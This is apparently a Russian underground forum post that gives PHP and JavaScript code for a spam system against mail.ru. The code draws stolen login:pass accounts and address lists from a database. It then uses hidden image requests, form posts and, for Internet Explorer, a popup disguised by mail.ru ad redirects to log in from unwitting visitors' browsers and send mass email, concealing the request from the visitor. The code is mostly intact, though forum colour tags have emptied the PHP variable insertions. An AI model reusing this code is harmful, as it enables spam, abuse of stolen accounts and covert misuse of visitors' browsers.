Примеры реализации. Вариант 1
В этом примере не проверяется, авторизован пользователь на мэйлру или нет.
Из базы берется аккаунт, список адресов и тексты. Отправляется запрос авторизации.
В случае успешной авторизации, отправляется письмо. Если произошла ошибка авторизации, адреса возвращаются в базу для использования последующими аккаунтами.
Для рассылки нужен
iframe траф.
Примечание:
Internet Explorer блокирует куки на запись если домен, на который ставятся куки, не соответствует домену в адресной строке браузера.
То есть, если картинка или фрейм с запросом авторизации расположены не на домене
mail.ru, проверить валидность аккаунта можно, но отправить письмо нельзя, так как куки после авторизации записаны не будут.
Единственный вариант - авторизоваться в отдельном окне функцией
open.
Ссылки с рекламных баннеров, размещаемых на мейлру проходят через редирект на поддомене мэйлру вида
http://r.mail.ru/n00000000
Это позволяет поставить страницу возврата после авторизации на один из этих сайтов.
Страница возврата будет одинаковой, независимо от результата авторизации, чтобы пользователь не заметил запрос к мэйлру.
Самая простая и надежная проверка браузера
IE -
if('\v'=='v')
Если
'\символ' не является
escape-последовательностью, слэш игнорируется, то есть
'\символ' == 'символ'
По неизвестным причинам,
IE (единственный из всех браузеров) не поддерживает вертикальную табуляцию, поэтому
'\v'=='v' возвращает
true.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]','[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$to[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
}
[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `acc` FROM `acc` WHERE `used` = 0 LIMIT 1"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE `acc` SET `used` = 1 WHERE `used` = 0 LIMIT 1"[/COLOR][COLOR="#007700"]);
list([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]split[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// аккаунты в формате login:pass
[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `text` FROM `subj` WHERE `id` = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$count_subj[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$subj[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT `text` FROM `body` WHERE `id` = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$count_body[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]?>
[/COLOR]
function addInput(inpParent, inpName, inpValue) // функция добавления полей на форму
{
var newInput = document.createElement('input');
newInput.name = inpName;
newInput.value = inpValue;
inpParent.appendChild(newInput);
}
var newImg = new Image(); // создание картинки
newImg.onload = function () // если авторизация прошла успешно, отправляется письмо
{
// отправка через m.mail.ru
// newForm.action = 'http://m.mail.ru/cgi-bin/sentmsg?send=';
// отправка через e.mail.ru
newForm.action = 'http://e.mail.ru/cgi-bin/sentmsg?ajax_call=1&func_name=send&send=';
document.body.appendChild(newForm); // добавление формы на страницу
addInput(newForm, 'HTMLMessage', '1');
addInput(newForm, 'To', '[COLOR="#0000BB"][/COLOR]');
addInput(newForm, 'Subject', '[COLOR="#0000BB"][/COLOR]');
addInput(newForm, 'Body', '[COLOR="#0000BB"][/COLOR]');
if('\v'=='v') // если браузер IE, авторизация в отдельном окне с редиректом на один сайтов, которые рекламирует мэйлру
{
// авторизация через m.mail.ru
// open('http://m.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');
// авторизация через e.mail.ru
open('http://e.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');
setTimeout('newForm.submit()', 5000); // нажатие кнопки отправки с задержкой, чтобы аккаунт успел авторизоваться.
}
else
{
newForm.submit(); // отправка запроса
}
};
newImg.onerror = function () // при ошибке авторизации
{
document.body.appendChild(newForm); // добавление формы на страницу
addInput(newForm, 'to', '[COLOR="#0000BB"][/COLOR]');
newForm.submit(); // отправка запроса
};
// авторизация через m.mail.ru
// newImg.src = 'http://m.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=../img/at.png&FailPage=';
// авторизация через e.mail.ru
newImg.src = 'http://e.mail.ru/cgi-bin/auth?level=1&Login=[COLOR="#0000BB"][/COLOR]&Password=[COLOR="#0000BB"][/COLOR]&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/';
var newForm = document.createElement('form'); // создание формы
newForm.method = 'POST';
document.body.appendChild(newImg); // добавление картинки на страницу
[/COLOR]